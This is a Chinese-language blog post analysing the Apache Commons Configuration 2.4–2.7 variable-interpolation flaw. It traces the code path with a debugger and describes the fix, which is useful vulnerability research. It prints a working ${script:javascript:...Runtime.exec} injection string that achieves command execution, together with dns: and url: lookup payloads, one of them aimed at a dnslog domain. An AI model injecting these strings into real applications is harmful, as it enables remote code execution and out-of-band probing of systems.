前言
最近注意到了Apache Commons Configuration 在2.7版本已經不安全了,能夠直接影響該組件,來分析學一下漏洞原理
漏洞分析
前置
Commons Configuration是一個java應用程序的配置管理類庫。可以從properties或者xml文件中加載軟件的配置信息,用來構建支撐軟件運行的基礎環境。在一些配置文件較多較的復雜的情況下,使用該配置工具比較可以簡化配置文件的解析和管理。也提高了開發效率和軟件的可維護性。
它目前支持的配置文件格式有:
Properties files
XML documents
Windows INI files
Property list files (plist)
JNDI等等
根據官方給出的漏洞通報
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

明白這個CVE的漏洞點是在變量插值中造成的
那么什么是變量插值呢?
在commons-configuration2來說,變量插值,就類似于引用動態變量的方式,就好比,如果我們需要獲取系統中的某個環境變量,我們可以在配置文件中使用${env:envname}, 如果需要獲取用戶根目錄,同樣可以通過${sys:user.home}
我們可以跟進一下源碼,看看這種寫法是在哪里解析的
他主要是在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中對這種寫法進行解析,賦予其對應的值

從注釋中我們可以知道對于變量的插值,如果這個值他是字符串類型的,他將會檢查時候包含有變量,如果有,將會替換這個變量,如果沒有就按照源String返回
所以我們同樣可以通過使用該方法進行變量插值的使用
package pers.test_01;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Commons_Configuration2_Test {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
//創建示例
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析字符串
System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));
}
}
同樣可以使用這種變量插值
影響范圍
2.4 ~ 2.7
漏洞
首先引入Commons-Configuration的依賴
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.7</version> </dependency>
我們從之前的漏洞通告可以知道,由script將會導致JVM腳本執行
我們debug分析一下他的流程
System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
我們在前面說的在interpolate方法中打下斷點

傳入了變量插值的值,首先判斷他是否是String的實例,之后將會調用looksLikeSingleVariable進行判斷格式是否正確

之后成功達到了resolveSingleVariable的調用

我們跟進extractVariableName方法,在該方法中,他將去掉${}等字符,取出變量值

之后調用resolve進行處理

在該方法中,他將分別取出prefix name value字段

通過調用fetchLookupForPrefix方法傳入prefix,取出對應的LookUp對象

直接從prefixLookups這個Map對象屬性中獲取對應的StringLookupAdapter類
之后我們緊跟著調用了lookup方法

這里也可以知道對應的stringLookup為ScriptLookup類對象,跟進其lookup方法的調用

他首先會通過:將其進行分隔開來,并判斷了其格式,再分別取出了engineName和script之后,將會在后面通過調用getEngineByName方法的調用傳入engineName,得到了scriptEngine為NashormScriptEngine類
跟進其eval方法

帶入了script和context對象繼續調用eval方法

跟進evalImpl方法
到最后成功執行了我們的代碼,達到了命令執行
貼一個調用棧
exec:347, Runtime (java.lang) invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH) reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH) exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH) linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH) :program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts) invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH) invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH) invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime) invoke:494, ScriptFunction (jdk.nashorn.internal.runtime) apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting) eval:155, NashornScriptEngine (jdk.nashorn.api.scripting) eval:264, AbstractScriptEngine (javax.script) lookup:86, ScriptStringLookup (org.apache.commons.text.lookup) lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol) resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol) resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol) interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol) main:15, Commons_Configuration2_Test (pers.test_01)

根據漏洞通報中,同樣還有這其他的prefix造成的影響
System.out.println(configurationInterpolator.interpolate("${dns:" + "test." + "uqp639.dnslog.cn}"));

同樣可以實現dns解析
同樣還可以訪問遠程url
System.out.println(configurationInterpolator.interpolate("${url:http:http://127.0.0.1:8000/}"));

修復
再查看diff之后
https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152#diff-ae29e7f41cf746bc365d2cd17ca0cf535757498625a7203db240113021082f3f
根據官方的更新描述

默認將script url dns等prefix給去除了


系統安全運維
中國信息安全
黑白之道
LemonSec
系統安全運維
GoUpSec
HACK學習呀
安全圈
安全圈
安全圈
安全圈
數說安全